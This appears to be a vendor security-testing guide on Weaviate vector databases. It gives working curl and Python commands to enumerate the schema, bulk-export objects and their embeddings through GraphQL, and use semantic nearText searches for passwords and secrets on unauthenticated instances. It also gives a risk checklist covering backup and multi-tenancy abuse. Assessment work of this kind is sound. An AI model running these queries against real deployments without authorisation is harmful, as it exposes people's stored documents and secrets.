Weaviate Security Testing: Unauthenticated GraphQL API, Schema Enumeration, and Vector Data Exfiltration

Weaviate is a widely deployed open-source vector database used to power semantic search, RAG (Retrieval-Augmented Generation) pipelines, and AI applications. Vector databases store embeddings of sensitive documents, user data, and proprietary content — and Weaviate's security defaults are minimal: the REST and GraphQL APIs on port 8080 require no authentication on default deployments, allowing any network client to enumerate all classes (schema), query all stored objects and their vector embeddings, insert or modify objects, and delete entire collections; Weaviate's multi-tenancy feature, when misconfigured, allows cross-tenant access — a tenant key obtained from one tenant can be used to query another tenant's data; the backup REST API endpoint allows snapshots to be written to configured storage backends without verifying caller identity; API key authentication (when enabled) is passed in the Authorization header and frequently logged by upstream reverse proxies; and Weaviate's nearText query interface allows semantic inference about stored content even without reading raw text properties. This guide covers systematic Weaviate security assessment.

Table of Contents

  1. Weaviate Discovery and API Testing
  2. Schema Enumeration and Class Discovery
  3. Vector Data Exfiltration via GraphQL
  4. Multi-Tenancy Isolation Testing
  5. Backup Endpoint Abuse
  6. Weaviate Security Hardening

Weaviate Discovery and API Testing

# Weaviate default port: 8080 (HTTP REST + GraphQL)
# gRPC port: 50051 (Weaviate v1.23+)

# Check Weaviate version (no auth required)
curl -s http://weaviate.example.com:8080/v1/meta 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(f\"Weaviate {d.get('version','?')} modules={list(d.get('modules',{}).keys())[:5]}\")" 2>/dev/null

# Check if authentication is enabled
curl -s -o /dev/null -w "%{http_code}" \
  http://weaviate.example.com:8080/v1/schema 2>/dev/null
# 200 = no auth required; 401 = auth enabled

Schema Enumeration and Class Discovery

# List all classes (schema) without authentication
curl -s http://weaviate.example.com:8080/v1/schema 2>/dev/null | \
  python3 -c "
import json,sys
schema = json.load(sys.stdin)
classes = schema.get('classes', [])
print(f'Classes: {len(classes)}')
for cls in classes:
    props = [p['name'] for p in cls.get('properties', [])]
    print(f\"  {cls['class']}: {props[:8]}\")
" 2>/dev/null

# Count total objects per class (reveals data scale)
curl -s http://weaviate.example.com:8080/v1/objects?limit=1 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f'Total objects: {data.get(\"totalResults\",0)}')
" 2>/dev/null

Vector Data Exfiltration via GraphQL

# Bulk export all objects from a class using GraphQL (no auth)
# Replace 'Document' with discovered class name

curl -s -X POST \
  http://weaviate.example.com:8080/v1/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{
      Get {
        Document(limit: 100) {
          title
          content
          url
          _additional { id vector }
        }
      }
    }"
  }' 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
objects = data.get('data',{}).get('Get',{}).get('Document',[])
print(f'Objects exported: {len(objects)}')
for obj in objects[:5]:
    print(f\"  title={obj.get('title','?')[:50]} content_len={len(str(obj.get('content','')))}\")" 2>/dev/null

# Semantic search to infer stored content (nearText)
curl -s -X POST \
  http://weaviate.example.com:8080/v1/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{Get{Document(nearText:{concepts:[\"password\",\"secret\",\"credential\"],distance:0.3},limit:10){title content _additional{distance}}}}"}' 2>/dev/null | \
  python3 -c "import json,sys; data=json.load(sys.stdin); objs=data.get('data',{}).get('Get',{}).get('Document',[]); [print(f'  {o.get(\"title\",\"?\")[:60]} dist={o.get(\"_additional\",{}).get(\"distance\")}') for o in objs]" 2>/dev/null

Weaviate Security Hardening

Weaviate Security Hardening Checklist:
Security TestMethodRisk
Unauthenticated REST/GraphQL API accessGET /v1/schema — enumerates all classes without credentialsHigh
Bulk vector data exfiltrationGraphQL Get query with high limit — exports all stored objects including text propertiesHigh
Semantic search reveals stored content themesnearText query for "password", "secret" — infers what sensitive data is stored even without raw accessHigh
Cross-tenant data access in multi-tenancy modeQuery tenant B's class using tenant A's key — verify isolation enforcementHigh
Backup endpoint creates full snapshot without authPOST /v1/backups/{backend} — initiates full database backup to configured storageHigh
Vectorizer module API keys in /v1/metaGET /v1/meta — may expose OpenAI/Cohere API key configurations used by modulesMedium

Automate Weaviate Security Testing

Ironimo tests Weaviate deployments for unauthenticated REST and GraphQL API access allowing schema enumeration and bulk vector data exfiltration, semantic nearText queries inferring stored sensitive content without raw data access, multi-tenancy isolation failures allowing cross-tenant object access, backup endpoint abuse creating full database snapshots without authorization, vectorizer module API key exposure via metadata endpoints, and Weaviate APIs operating over unencrypted HTTP with API keys logged by reverse proxies.

Start free scan